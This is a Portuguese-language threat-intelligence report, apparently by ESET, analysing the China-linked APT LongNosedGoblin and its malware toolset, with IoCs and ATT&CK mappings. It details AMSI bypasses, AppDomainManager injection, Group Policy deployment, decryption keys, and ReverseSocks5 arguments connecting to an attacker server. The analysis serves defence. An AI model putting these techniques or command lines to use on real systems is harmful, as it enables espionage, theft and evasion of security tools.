Em 2024, os pesquisadores da ESET notaram um malware não documentado anteriormente na rede de um órgão governamental do sudeste asiático. Isso nos levou a descobrir ainda mais malwares novos no mesmo sistema, nenhum dos quais tinha vínculos substanciais com qualquer grupo criminoso rastreado anteriormente. Com base em nossas descobertas, decidimos atribuir as ferramentas maliciosas a um novo grupo APT ligado à China, que chamamos de LongNosedGoblin.

O grupo emprega um conjunto variado de ferramentas personalizadas que consiste principalmente em aplicativos C#/.NET e, notavelmente, usa a Política de Grupo para implantar seu malware e mover-se lateralmente pelos sistemas das instituições visadas. Esta postagem do blog detalha nossa descoberta do LongNosedGoblin, analisa suas campanhas conhecidas e mergulha no conjunto de ferramentas do grupo.

Principais aspectos da descoberta:
  • O LongNosedGoblin é um grupo APT ligado à China, recentemente identificado, que mira órgãos governamentais no Sudeste Asiático e no Japão com fins de ciberespionagem;
  • O grupo está ativo desde pelo menos setembro de 2023;
  • O LongNosedGoblin usa a Política de Grupo para implantar malware na rede comprometida e serviços em nuvem (por exemplo, Microsoft OneDrive e Google Drive) como servidores de comando e controle (C&C);
  • Uma das ferramentas do grupo, o NosyHistorian, é usada para reunir o histórico do navegador e decidir onde implantar outros malwares, como o backdoor NosyDoor;
  • O NosyDoor provavelmente está sendo compartilhado por vários cibercriminosos ligados à China;
  • Fornecemos uma análise detalhada do NosyHistorian, NosyDoor, NosyStealer, NosyDownloader, NosyLogger e outras ferramentas usadas pelo LongNosedGoblin.

Problema no ar: apresentando o LongNosedGoblin

O LongNosedGoblin é um grupo APT ligado à China que tem como alvo órgãos governamentais no Sudeste Asiático e no Japão, com o objetivo de realizar ciberespionagem. Como já mencionamos: em suas campanhas, o LongNosedGoblin utiliza a Política de Grupo - um mecanismo para gerenciar configurações e permissões em máquinas Windows, normalmente usado com o Active Directory - para implantar malware e se mover lateralmente pela rede comprometida.

Uma das principais ferramentas em seu arsenal é o NosyHistorian, um aplicativo C#/.NET que o grupo usa para coletar o histórico do navegador, que é então usado para determinar onde implantar mais malware. Isso inclui outra ferramenta importante do LongNosedGoblin, um backdoor que chamamos de NosyDoor, que, nas campanhas que observamos, usava o Microsoft OneDrive como seu servidor de C&C. O NosyDoor também emprega técnicas living-off-the-land em sua cadeia de execução, ou seja, injeção do AppDomainManager. Por fim, várias das ferramentas do grupo podem ignorar a AMSI (Antimalware Scan Interface), que permite que os produtos antimalware examinem vários scripts antes da execução.

Descoberta

Em fevereiro de 2024, encontramos um malware desconhecido em um sistema de uma órgão governamental no sudeste da Ásia. O malware foi usado para instalar um backdoor personalizado, que mais tarde chamamos de NosyDoor. Ao mesmo tempo, notamos que o comprometimento envolvia não apenas uma, mas várias máquinas da mesma entidade, com o malware sendo implantado por meio da Política de Grupo.

Análises adicionais revelaram que as mesmas vítimas também foram afetadas por uma ferramenta diferente distribuída por meio da Política de Grupo, usada para coletar o histórico do navegador. Chamamos a ferramenta de NosyHistorian. Embora tenhamos encontrado muitas vítimas afetadas pelo NosyHistorian no decorrer de nossa pesquisa inicial entre janeiro e março de 2024, apenas um pequeno subconjunto delas foi comprometido pelo NosyDoor. Algumas amostras do dropper do NosyDoor continham até mesmo proteções de execução para limitar a operação a máquinas de vítimas específicas.

Posteriormente, identificamos ainda mais malware desconhecido nos computadores das vítimas: NosyStealer, que exfiltra dados do navegador; NosyDownloader, que baixa e executa um payload na memória; NosyLogger, um keylogger; outras ferramentas, como um proxy SOCKS5 reverso; e um argument runner (ferramenta que executa um aplicativo passado como argumento) que foi usado para executar um gravador de vídeo, provavelmente o FFmpeg, para capturar áudio e vídeo. O downloader foi registrado pela primeira vez em nossa telemetria em setembro de 2023.

Atribuição

Diante do conjunto exclusivo de ferramentas empregadas, aliado ao uso da Política de Grupo para facilitar a movimentação lateral, optamos por atribuir esses ataques a um novo grupo APT com vínculos à China, ao qual denominamos LongNosedGoblin. Identificamos certa sobreposição nos caminhos de arquivos citados em uma publicação do blog da Kaspersky sobre a atividade do ToddyCat, um grupo APT com objetivos semelhantes. No entanto, o malware analisado neste relatório não apresenta similaridade de código com aquele associado ao ToddyCat.

Deve-se observar também que, em junho de 2025, a empresa russa de cibersegurança Solar publicou um post no blog sobre um grupo APT denominado Erudite Mogwai, que usava um payload muito parecido com o NosyDoor do LongNosedGoblin. De acordo com os autores, o Erudite Mogwai tinha como alvo a infraestrutura de TI de uma organização governamental russa e de empresas de TI russas, usando o backdoor LuckyStrike Agent em suas operações.

No entanto, não é possível afirmar que o Erudite Mogwai e o LongNosedGoblin sejam o mesmo grupo, já que há diferenças claras e consistentes em seus TTPs. Em particular, as pesquisas sobre o Erudite Mogwai não apontam o uso da Política de Grupo do Active Directory para a implantação de malware, uma técnica bastante específica e recorrente nas operações atribuídas ao LongNosedGoblin.

Posteriormente, identificamos outra ocorrência de uma variante do NosyDoor direcionada a uma organização em um país da União Europeia. Mais uma vez, foram observados TTPs distintos, com o uso do serviço de nuvem Yandex Disk como servidor de comando e controle (C&C). A presença dessa variante do NosyDoor reforça a hipótese de que o malware possa ser compartilhado entre diferentes grupos cibercriminosos ligados à China. Essa suposição é ainda fortalecida pela identificação da palavra Paid no caminho do PDB do NosyDoor, o que sugere que o malware pode estar sendo comercializado no modelo malware as a service, possivelmente vendido ou licenciado para outros grupos cibercriminosos.

Campanhas posteriores

Ao longo de 2024, o LongNosedGoblin estava implantando ativamente o NosyDownloader no sudeste da Ásia. Em dezembro do mesmo ano, detectamos uma versão atualizada do NosyHistorian no Japão, mas não observamos nenhuma atividade posterior.

Em setembro de 2025, começamos a observar uma nova atividade do grupo no Sudeste Asiático. Como nas campanhas anteriores, o grupo cibercriminoso aproveitou a Política de Grupo para entregar o NosyHistorian às máquinas visadas.

Durante essa onda de ataques, notamos um comportamento consistente com o uso do Cobalt Strike: um loader chamado oci.dll foi baixado em uma única máquina, com um payload chamado ocapi.edb carregado do disco. Em seguida, o LongNosedGoblin implantou o possível loader do Cobalt Strike em máquinas selecionadas por meio da Política de Grupo.

Além disso, observamos o download de outro componente semelhante, mscorsvc.dll, cujo payload estava armazenado no arquivo conf.ini. Esse loader foi então implantado nas máquinas das vítimas por meio da Política de Grupo, utilizando o mesmo mecanismo de entrega empregado pelo oci.dll.

Bisbilhotando: conjunto de ferramentas do LongNosedGoblin

NosyHistorian

O NosyHistorian é um aplicativo C#/.NET com um nome interno autoexplicativo GetBrowserHistory, pois ele, de fato, coleta o histórico do navegador. Nas campanhas observadas, os cibercriminosos usaram essa ferramenta para obter informações sobre as máquinas na infraestrutura comprometida. Com base nessas informações, eles escolheram um pequeno subconjunto de vítimas específicas para comprometer ainda mais com seu backdoor NosyDoor.

Vimos a ferramenta sendo implantada por meio da Política de Grupo sob o nome de arquivo History.ini, disfarçando o arquivo como um arquivo INI. Na realidade, trata-se de um arquivo executável portátil (PE), cujo objetivo mais provável é se misturar a outros arquivos INI comumente armazenados no diretório de cache da Política de Grupo.

O NosyHistorian percorre todos os usuários da máquina e coleta o histórico de navegação dos navegadores Google Chrome, Microsoft Edge e Mozilla Firefox. Cada banco de dados de histórico é copiado para um diretório temporário e, em seguida, transferido para um compartilhamento SMB específico, previamente codificado, dentro da rede local da organização comprometida. Os nomes de arquivo utilizados pelo NosyHistorian para cada histórico de navegador estão listados na Tabela 1, em que <profile_name> corresponde aos perfis do respectivo navegador.

Tabela 1: Nomes de arquivos de histórico criados pelo NosyHistorian.

Web browser Filename
Google Chrome <username>_<machine_name>_<profile_name>_History
Microsoft Edge <username>_<machine_name>_edge_History
Mozilla Firefox <username>_<machine_name>_firefox_<profile_name>_places.sqlite

Tanto essa ferramenta quanto o NosyDoor têm caminhos de PDB semelhantes e foram compilados a partir do diretório E:\Csharp, sendo que o caminho do PDB do NosyHistorian é: E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb.

NosyDoor

Conforme mencionado anteriormente, o backdoor NosyDoor usa serviços de nuvem, como o Microsoft OneDrive, para seu servidor C&C. O malware tem uma cadeia de execução de três estágios bastante simples, descrita na Figura 1. O primeiro estágio é um dropper que implanta o segundo estágio, que envolve um ataque do tipo living-off-the-land usando a técnica de injeção AppDomainManager, que, por sua vez, é usada para executar o payload final, o próprio backdoor.

O NosyDoor coleta metadados sobre a máquina da vítima, incluindo o nome do dispositivo, o nome de usuário, a versão do sistema operacional e o nome do processo atual, e envia tudo isso para o C&C. Em seguida, ele recupera e analisa arquivos de tarefas com comandos do C&C. Os comandos permitem a exfiltração de arquivos, a exclusão de arquivos e a execução de comandos do shell, entre outras coisas.

Figure 1. NosyDoor execution chain 1
Figura 1. Cadeia de execução do NosyDoor.

Estágio 1 do NosyDoor - dropper

O primeiro estágio do malware é um dropper, especificamente um aplicativo C#/.NET com o nome interno OneClickOperation. Da mesma forma que o NosyHistorian, ele é implantado por meio da Política de Grupo. Vimos o dropper se disfarçar como um arquivo de Política de Registro usando o nome de arquivo Registry.pol, embora também tenhamos observado Registry.plo, o que é incomum (pode ser um erro de digitação ou talvez os grupos criminosos não quisessem que o nome do arquivo entrasse em conflito com outro arquivo malicioso).

O dropper decodifica arquivos incorporados em base64 e os descriptografa por meio do Data Encryption Standard (DES) com a chave e o vetor de inicialização definidos como UevAppMo (os primeiros oito bytes da string UevAppMonitor) e, em seguida, os descarta em C:\Windows\Microsoft.NET\Framework com os seguintes nomes de arquivos:

  • SharedReg.dll
  • log.cached
  • netfxsbs9.hkf
  • UevAppMonitor.exe.config

Esses nomes de arquivos foram escolhidos deliberadamente para se misturarem aos arquivos existentes, já que o diretório normalmente contém arquivos chamados SharedReg12.dll e netfxsbs12.hkf.

Em suas etapas finais, o dropper cria e inicia uma tarefa agendada do Windows com o nome OneDrive Reporting Task-S-1-5-21-<GUID> na pasta de tarefas da Microsoft, em que <GUID> é uma string GUID aleatória. A tarefa agendada é responsável por executar o legítimo UevAppMonitor.exe no diretório C:\Windows\Microsoft.NET\Framework durante a inicialização do sistema. O dropper copia o arquivo legítimo de C:\Windows\System32\ para o novo local.

As amostras mais recentes também incluem uma barreira de execução que faz com que o dropper funcione somente nos computadores das vítimas com um nome de máquina específico (veja a Figura 2).

Figure 2. Dropper code
Figura 2. Código do dropper com barreiras de execução.

NosyDoor Estágio 2 - injeção do AppDomainManager

O UevAppMonitor.exe é um aplicativo C#/.NET legítimo, que o malware copiou do diretório C:\Windows\System32\ para o C:\Windows\Microsoft.NET\Framework e usou como um binário living-off-the-land, ou LOLBin. Os ataques do tipo "living-off-the-land" usam ferramentas legítimas já presentes no sistema. Nesse caso, o aplicativo é usado para acionar a injeção do AppDomainManager por meio de um arquivo de configuração. Essa técnica permite que aplicativos desenvolvidos na plataforma .NET carreguem código malicioso em vez do código legítimo originalmente esperado, explorando a classe AppDomainManager.

Quando o aplicativo é executado, ele carrega o arquivo de configuração mostrado na Figura 3, o que faz com que o aplicativo chame o método InitializeNewDomain da classe SharedReg personalizada em SharedReg.dll. A configuração também define o atributo enabled do elemento <etwEnable> como false para que o rastreamento de eventos do Windows seja desativado.

Figure 3. Content of UevAppMonitor.exe.config with specified AppDomainManager
Figura 3. Conteúdo do UevAppMonitor.exe.config com o AppDomainManager especificado.

SharedReg.dll contém código para contornar o AMSI, de uma estrutura de evasão AV/EDR de código aberto chamada inceptor. Além disso, ele decodifica em base64 o arquivo netfxsbs9.hkf, descriptografa o resultado via AES com a chave UevAppMonitor, preenchida com bytes nulos até que seu comprimento seja 16, vetor de inicialização 0 e, por fim, decodifica em base64 o resultado novamente. O resultado é NosyDoor, que é então executado. Todos os erros são gravados no arquivo error.txt no diretório C:\Windows\Microsoft.NET\Framework.

NosyDoor Estágio 3 - payload

O terceiro estágio do NosyDoor, o payload principal, é um backdoor C#/.NET com o nome interno OneDrive e com o caminho PDB E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb. Como esse nome sugere, o backdoor usa serviços de nuvem, nesse caso o Microsoft OneDrive, como um servidor C&C.

A lista completa de metadados que o backdoor coleta consiste no seguinte:

  • endereço IPv4 externo;
  • endereço IPv4 local;
  • ID do agente;
  • nome de usuário;
  • nome da máquina;
  • diretório atual;
  • processo atual (nome, ID, arquitetura);
  • hora de início local do estágio 3;
  • hora local atual;
  • versão do sistema operacional;
  • CodeType (consulte a Tabela 3);
  • AgentType (consulte a Tabela 3).

Todos os metadados coletados são criptografados via RSA e, em seguida, carregados no OneDrive como o arquivo Read_<agent_id>.max. Depois que o NosyDoor envia os metadados, ele procura comandos do C&C em arquivos de tarefas com extensões .max no seguinte diretório:

<FolderName>-<ListenerID>/<agent_id>/<Payload.TaskFolderName>

Cada arquivo de tarefa contém um comando criptografado, que é encapsulado com valores extraídos da configuração do backdoor:

<Payload.Prepend><Payload.PayloadPrepend><encrypted_command><Payload.PayloadAppend><Payload.Append>

O comando é então decodificado com base64 e descriptografado via AES com a chave <Payload.Key> e o vetor de inicialização 0. Todos os comandos são descritos na Tabela 2. Embora o comando CMD_TYPE_TASKSCHEDULER seja mencionado no código, ele não é implementado em nenhuma das amostras observadas.

Tabela 2: Comandos suportados pelo NosyDoor.

Command Description
CMD_TYPE_SHELL Execute a shell command.
CMD_TYPE_EXEC_ASM Load a .NET assembly.
CMD_TYPE_EXIT Quit NosyDoor.
CMD_TYPE_REMOVE Delete a file and list its original directory.
CMD_TYPE_DOWNLOAD Exfiltrate a file. Note that download and upload commands are here named in terms of the attacker’s perspective, treating the C&C machine as the local machine and the victim machine as the remote one.
CMD_TYPE_UPLOAD Upload a file to the victim’s machine, delete it from OneDrive, and list the directory where the file was uploaded.
CMD_TYPE_DRIVES Get names and sizes of logical drives present on the machine.
CMD_TYPE_FILE_BROWSE Obtain a directory listing, including file icons.
CMD_TYPE_SLEEP Set the beaconing interval.
CMD_TYPE_TASKSCHEDULER Not implemented.
CMD_TYPE_Plugin Load a .NET assembly, directly calling the method Plugin.Run.

Depois de executar o comando, o NosyDoor executa as etapas inversas - criptografa a saída do comando usando AES, codifica com base64 e encapsula com as cadeias de caracteres <Payload.Prepend><Payload.PayloadPrepend> e <Payload.PayloadAppend><Payload.Append>. Cada resultado é armazenado no servidor C&C em um arquivo com um nome de arquivo especificando a hora local (carimbo de data/hora Unix multiplicado por 100.000) e terminando com a extensão .max:

<FolderName>-<ListenerID>/<agent_id>/<Payload.ReceiveFolderName>/<unix_timestamp>.max

Se ocorrer uma exceção durante a operação do NosyDoor, o backdoor gravará a mensagem de exceção junto com a hora local em C:\Users\Public\Libraries\thomas.log.

O backdoor contém uma dependência personalizada chamada Library que é incorporada como um recurso usando o Costura. Ela contém principalmente código relacionado ao processamento de comandos, à comunicação com o Microsoft OneDrive e a vários métodos auxiliares, enquanto o binário principal lida com o loop de beaconing e lê um arquivo de configuração, utilizando a biblioteca.

A configuração é armazenada no arquivo log.cached de forma criptografada. O NosyDoor a descriptografa via XOR com a chave SecretKey, decodifica-a em base64 e, em seguida, descriptografa-a via AES com a chave Thomas, preenchida com bytes nulos até que seu comprimento seja 16 e IV 0. Essa configuração pode ser vista na Figura 4.

{{CODE_BLOCK_0}}

Figura 4. Configuração descriptografada (log.cached, com formatação aprimorada).

Os valores de configuração <BeginDate> e <EndDate> especificam o intervalo de tempo local em que o NosyDoor opera. Nesse caso, o NosyDoor está ativo somente entre 8h51min e 18h51min. No entanto, uma vez autenticado, o NosyDoor processará os comandos que ainda estão pendentes em uma fila e enviará arquivos de resposta independentemente do horário.

NosyStealer

O NosyStealer é usado para roubar dados do navegador do Microsoft Edge e do Google Chrome. Conforme ilustrado na Figura 5, ele tem uma cadeia de execução de quatro estágios, com o componente stealer sendo o payload do estágio final.

Figure 5. NosyStealer execution chain )2)
Figura 5. Cadeia de execução do NosyStealer.

NosyStealer Estágio 1 - loader de DLL

O primeiro estágio(pmp.exe) na cadeia do NosyStealer é um aplicativo C/C++. A amostra observada simplesmente carrega uma biblioteca chamada SERV.dll do disco e chama a função exportada Hello.

NosyStealer Estágio 2 - injetor

Observamos duas amostras do NosyStealer Estágio 2 - uma(SERV.dll) em nossa telemetria e a outra(msi.dll) carregada no VirusTotal da Malásia. Nenhuma delas tem a função exportada Hello, mas ambas têm o código principal em DllMain, ou seja, o código malicioso é executado logo após o carregamento da DLL. Elas têm as seguintes exportações:

  • ??0Cv2dllnoinject@@QEAA@XZ
  • ??4Cv2dllnoinject@@QEAAAEAV0@$$QEAV0@@Z
  • ??4Cv2dllnoinject@@QEAAAEAV0@AEBV0@@Z
  • ?fnv2dllnoinject@@YAHXZ
  • ?nv2dllnoinject@@3HA

Os dados do próximo estágio são carregados a partir do caminho codificado C:\ProgramData\Microsoft\WDF\MDE.dat. Eles são descriptografados por meio de uma cifra XOR de byte único com a chave 0x7A. O resultado é o código shell Donut que é injetado no processo pmp.exe em execução (NosyStealer Stage 1) usando a API CreateRemoteThread no caso SERV.dll e em um processo notepad.exe recém-criado usando a API SetThreadContext no caso msi.dll.

NosyStealer Estágio 3 - loader

Conforme mencionado na seção NosyStealer Estágio 2 - injetor, esse estágio é um shellcode que contém um arquivo PE incorporado que é descriptografado, carregado e executado na memória usando o loader reflexivo do Donut. O binário extraído é um aplicativo C/C++.

Como o NosyDoor Estágio 2 - injeção do AppDomainManager, esse estágio usa uma técnica conhecida para contornar o AMSI. Ele corrige a função AmsiScanBuffer no amsi.dll carregado com código que retorna E_INVALIDARG (veja a Figura 6).

Figure 6. Hex-Rays decompiled code that patches AmsiScanBuffer
Figura 6. Código decompilado do Hex-Rays que corrige o AmsiScanBuffer.

Em seguida, ele cria uma tarefa agendada do Windows com o nome Daily Check Task que executa C:\ProgramData\Microsoft\WDF\pmp.exe (NosyStealer Stage 1) todos os dias com permissões da conta do sistema local.

Depois de corrigir a função AMSI e persistir, ele continua de forma semelhante ao estágio anterior - ele descriptografa o próximo estágio do caminho codificado C:\ProgramData\Microsoft\WDF\mfd.dat por meio de uma cifra XOR de byte único com a chave 0x7A, em que o blob resultante é outro shellcode Donut, que é então executado.

NosyStealer Estágio 4 - payload

Novamente, como o NosyStealer Estágio 3 - loader, esse estágio é um shellcode que descriptografa, carrega e executa um arquivo PE incorporado na memória usando o loader reflexivo do Donut. Desta vez, o binário extraído é um aplicativo Go que rouba dados do navegador dos navegadores da Web Microsoft Edge e Google Chrome. Para fazer isso, ele baixa um arquivo chamado config do Google Docs. Quando o arquivo contém o ID da vítima, o NosyStealer lê os dados de perfil do Microsoft Edge e do Google Chrome, arquiva-os com tar e os criptografa com uma cifra personalizada.

O NosyStealer então exfiltra o arquivo tar criptografado para o Google Drive. A Figura 7 é um exemplo da configuração formatada em JSON, incorporada no binário, necessária para acessar o Google Drive e o Google Docs.

{
  "type": "service_account",
  "project_id": "dev0-411506",
  "private_key_id": "[redacted]",
  "private_key": "[redacted]",
  "client_email": "dev0-660@dev0-411506.iam.gserviceaccount.com",
  "client_id": "[redacted]",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": 
"https://www.googleapis.com/robot/v1/metadata/x509/dev0-660%40dev0-411506.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

Figura 7. Configuração do NosyStealer.

O NosyStealer também registra erros e mensagens de status em um arquivo do Google Docs denominado log, que pode conter informações relativas a mais de uma vítima. A mensagem de status inclui a constante 9, possivelmente indicando a versão do NosyStealer. O formato completo dessa mensagem de status — em que <machine_local_ips> representa uma lista de endereços IPv4 locais dos adaptadores de rede, é o seguinte:

<local_date> - <victim_id> - 9 - heartbeat <machine_local_ips>

NosyDownloader

Ao analisar os dados de telemetria da ESET, identificamos também, nas redes comprometidas pelo LongNosedGoblin, diversos aplicativos originalmente benignos que haviam sido adulterados com código malicioso. Esse código incorpora um downloader que denominamos NosyDownloader, responsável por executar uma cadeia de comandos ofuscados passados a um processo PowerShell iniciado com um longo argumento de linha de comando. Dessa forma, o script não é gravado em disco, dificultando sua detecção.

Cada estágio subsequente da cadeia é codificado em Base64, sendo que o estágio final é ainda descompactado utilizando gzip.Os diferentes estágios são descritos de forma resumida na Tabela 3. Assim como ocorre no NosyDoor Estágio 2 e no NosyStealer Estágio 3, o segundo estágio do NosyDownloader também contorna o AMSI. Nesse caso, o malware utiliza o método de reflection de Matt Graeber, além de técnicas de desativação do registro de scripts amplamente disponibilizadas no GitHub, para burlar os mecanismos de inspeção do AMSI.

Tabela 3: Estágios do script do NosyDownloader.

Stage Description
1 Decodes and executes Stage 2 in a newly created PowerShell process that runs in a hidden window.
2 Bypasses AMSI, then decodes and executes Stage 3.
3 Decodes, decompresses, and executes Stage 4.
4 Downloads a payload and executes it in memory with Invoke-Expression.

Suspeitamos que o NosyDownloader foi usado para implantar o ReverseSocks5, o NosyLogger e um executor de argumentos, pois os vimos no período de uma semana após a execução do NosyDownloader.

NosyLogger

Também identificamos um keylogger C#/.NET que chamamos de NosyLogger. Ele parece ser uma versão modificada do keylogger de código aberto DuckSharp, com as principais diferenças sendo que ele não envia e-mails nem traduz as teclas registradas para o alfabeto cirílico.

Inicialmente, o malware verifica se um depurador está presente por meio das APIs IsDebuggerPresent e CheckRemoteDebuggerPresent; caso contrário, ele inicia sua funcionalidade de registro de teclas.

O nome da janela, as teclas pressionadas e o conteúdo da área de transferência colado são acumulados na memória. O NosyLogger criptografa esses lotes de dados usando AES com a chave D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C e um vetor de inicialização de comprimento fixo gerado aleatoriamente, em que o vetor é anexado ao lote de dados criptografado. O lote de dados criptografados é então anexado ao arquivo no local codificado C:\Windows\Temp\TS_D418.tmp em formato de cadeia hexadecimal. Nesse arquivo, cada lote de dados criptografados é separado por uma nova linha seguida pela string ENDBLOCK. Esse processo de criptografia e armazenamento de dados acumulados no arquivo ocorre a cada 10 segundos. Esse arquivo não é exfiltrado pelo NosyLogger.

Outras ferramentas implantadas

ReverseSocks5

Entre outros malwares implantados pelo LongNosedGoblin, encontramos um proxy SOCKS5 reverso de código aberto, escrito em Go, chamado ReverseSocks5. Descobrimos isso quando notamos que os seguintes argumentos de linha de comando estavam sendo usados:

-connect 118.107.234[.]29:8080 -psk "58fi04qQ" /F

A opção -psk é usada para definir uma chave pré-compartilhada para criptografia e autenticação. O argumento /F não é tratado pelo ReverseSocks5 e provavelmente não é intencional; esse argumento é comumente usado com schtasks create.

Em seguida, notamos outro conjunto de argumentos de linha de comando (que não têm mais o argumento /F ):

-connect 118.107.234[.]29:8080 -psk "15Kaf22N3b"

Esse segundo conjunto corresponde à execução do ReverseSocks5, em que observamos o PowerShell como o processo principal. O NosyDownloader também foi executado durante esse período, indicando que a amostra provavelmente foi implantada com ele.

Executor do argumento

Esse é um aplicativo C#/.NET com nome interno Binary; o único objetivo dessa ferramenta é executar um aplicativo passado como argumento. Vimos o nome de arquivo TCOEdge.exe como parte da linha de comando, juntamente com argumentos específicos da estrutura multimídia FFmpeg; ele foi usado para gravar a tela e capturar áudio, salvando-o em C:\Windows\Temp\output.avi.

Para resumir

O LongNosedGoblin é um grupo APT alinhado à China que tem como alvo entidades governamentais no sudeste da Ásia e no Japão. Nossa análise de suas campanhas revelou várias peças de malware personalizado, que o grupo usa para conduzir a ciberespionagem contra suas vítimas. Notavelmente, o LongNosedGoblin emprega a Política de Grupo para realizar o movimento lateral dentro da rede comprometida.

Para qualquer dúvida sobre nossa pesquisa publicada no WeLiveSecurity, entre em contato conosco pelo e-mail threatintel@eset.com.

Indicadores de Comprometimento

Uma lista abrangente de indicadores de comprometimento (IoCs) e amostras pode ser encontrada em nosso repositório no GitHub.

Arquivos

SHA-1 Filename Detection Description
4E3F6E9D0F443F4C42974A0551EEE957B498DA3D History.ini MSIL/Spy.Agent.EUU NosyHistorian.
CD745BD2636F607CC4FB9389535BF3579321CA72 History.ini MSIL/Spy.Agent.EUU NosyHistorian.
154A35DD4117DB760699C2092AFB307E94008506 Registry.plo MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
B1D4A283A9CCC9E34993DD2093A904AFBD88B9B9 Registry.pol MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
77D2A8CB316B7A470E76E163551A00BB16A696C5 Registry.plo MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
F93E449C5520C4718E284375C54BE33711505985 Registry.pol MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
1959E2198D6F81B2604DF7AC1F508AEB7A6FA07E SharedReg.dll MSIL/Kryptik.AJBA NosyDoor stage 2.
E0B44715BC4C327C04E63F881ECC087B7ACBD306 N/A MSIL/Agent.ESF NosyDoor stage 3.
43C8AE8561E7E3BF9CD748136C091099E5CBEEEE N/A MSIL/Agent.ESF NosyDoor stage 3.
D11FC2D6159CB8BA392B145B3EE4ADFA15DB4C83 N/A MSIL/Agent.ESF NosyDoor stage 3.
A0A80AC293645076EBAE393FF0A6A4229E2EDE1C pmp.exe Win64/Agent.DNY NosyStealer stage 1.
DDBBAE33E04A49D17DD24D85B637667B4407AE19 SERV.dll Win64/Agent.DNX NosyStealer stage 2.
60158C509446893B3B57D40DC4B4B3795FCDF369 HPSupportAssistant.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
F5B7440EE25116A49EC5EE82507B353880217AC1 RTLWVern.exe PowerShell/Agent.BDR NosyDownloader.
85939C56BFCACD0993E6FB9F7CFD6137601FB7D4 hpSmartAdapter.exe Win32/Agent.AGIJ NosyDownloader.
C66F9FEC0F8CBF577840944F61198A75B3E2A58C hputils.exe Win32/Agent.AGII NosyDownloader.
4C2FCCE3BAB4144D90C741A6D77ADF209C786B54 IGCCSvc.exe MSIL/Spy.Keylogger.FVW NosyLogger.
161A25CB0B8FA998BF1BDEE31F06F24876453CDF AdobeHelper.exe WinGo/ReverseShell.DX ReverseSocks5.
4D61A9FBBCC4F7A37BE21548B55BB5B9B837F83B msi.dll Win64/Agent.DOT NosyStealer stage 2.
5AE440805719250AAEFEE9B39DACD23D2FB573CD TCOCertified.exe MSIL/Runner.BW Argument runner.
E93D32C739825519A10A4C52C5F1EE33936E4FDB N/A WinGo/PSW.Agent.FZ NosyStealer stage 4.
212126896D38C1EE57320FB6940FED7A6E30D9EA N/A Win32/Agent.AGHB NosyStealer stage 3.
CFFE15AA4D0F9E6577CCB509ACE9C588937943F2 HPNDFInterface.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
6AC22CE60B706E3B9A7927633116911E1087C0D4 bemsvc.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
2C1959DD85424CEDC96B1BB86A95FCA440CB9E36 HPDeviceCheck.exe Win32/Agent.AGWU NosyDownloader.
46107B1292B830D9BCEBBDA6EEDB32FBC05707B4 HP.OCF.exe Win32/Patched.NLL NosyDownloader.
581464978C29B2BC79C65766E62011C94D2CBEAB HP.OCF.exe Win32/Patched.NLL NosyDownloader.
0D91A0E52212EC44E32C47F7760AF3B473B72798 ax_installer.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
48D715466857FB0C6CD0249DE6D960FC199438E1 btdevmanager.exe MSIL/Spy.Keylogger_AGen.DL NosyLogger.
563677CFACD328EA2478836E58A8BD0DF11206A3 info.txt MSIL/Spy.Agent.EUU NosyHistorian.
AC2264C56121141DAF751A3852CD34F3ACB1D63C ntrtscan.exe MSIL/Spy.Agent.EUU NosyHistorian.
70A615BC580522E1EEE4B61394DC7A247FE47022 ntrtscan.exe MSIL/Spy.Agent.EUU NosyHistorian.
E9C5E4AA335DFBD25786234A58CE4C9C551D1A41 oci.dll Win64/Kryptik_AGen.UW Loader of unknown malware (possibly Cobalt Strike).
EC9CEB599DF3BDFFAD536900D0E6D48E2E5FF12B mscorsvc.dll Win64/Kryptik.EHP Loader of unknown malware (possibly Cobalt Strike).

Rede

IP Domain Hosting provider First seen Details
118.107.234[.]26 www.sslvpnserver[.]com IRT‑IPSERVERONE‑MY 2022‑04‑09 NosyDownloader C&C server.
103.159.132[.]30 www.threadstub[.]com IRT-FBP-MY 2023‑10‑03 NosyDownloader C&C server.
101.99.88[.]113 www.blazenewso[.]com Shinjiru Technology Sdn Bhd 2024‑08‑23 NosyDownloader C&C server.
118.107.234[.]29 N/A IRT‑IPSERVERONE‑MY 2023‑03‑20 ReverseSocks5 server.
101.99.88[.]188 www.privacypolicy-my[.]com Shinjiru Technology Sdn Bhd administrator 2024‑10‑23 NosyDownloader C&C server.
38.54.17[.]131 N/A Kaopu Cloud HK Limited 2025‑03‑05 Server hosting malware, possibly Cobalt Strike.

Técnicas do MITRE ATT&CK

Esta tabela foi criada usando a versão 18 da estrutura MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1585.003 Establish Accounts: Cloud Accounts LongNosedGoblin created accounts on cloud-based services for C&C communication.
T1588.001 Obtain Capabilities: Malware LongNosedGoblin likely used shared malware that we named NosyDoor.
Execution T1059.001 Command and Scripting Interpreter: PowerShell NosyDownloader executes PowerShell commands.
T1059.003 Command and Scripting Interpreter: Windows Command Shell NosyDoor may execute commands via cmd.exe.
T1106 Native API NosyStealer Stage 1 executes the next stage via the LoadLibraryW API.
Persistence T1053.005 Scheduled Task/Job: Scheduled Task NosyDoor and NosyStealer are persisted using Windows scheduled tasks.
T1574.014 Hijack Execution Flow: AppDomainManager NosyDoor Stage 2 uses AppDomainManager injection to run malicious code.
Defense Evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File Malicious files embedded in NosyDoor Stage 1 are encrypted via DES.
T1027.015 Obfuscated Files or Information: Compression NosyDownloader Stage 4 is compressed using gzip.
T1622 Debugger Evasion NosyLogger does not operate if a debugger is present.
T1480 Execution Guardrails Some samples of NosyDoor operate only on machines with specific names.
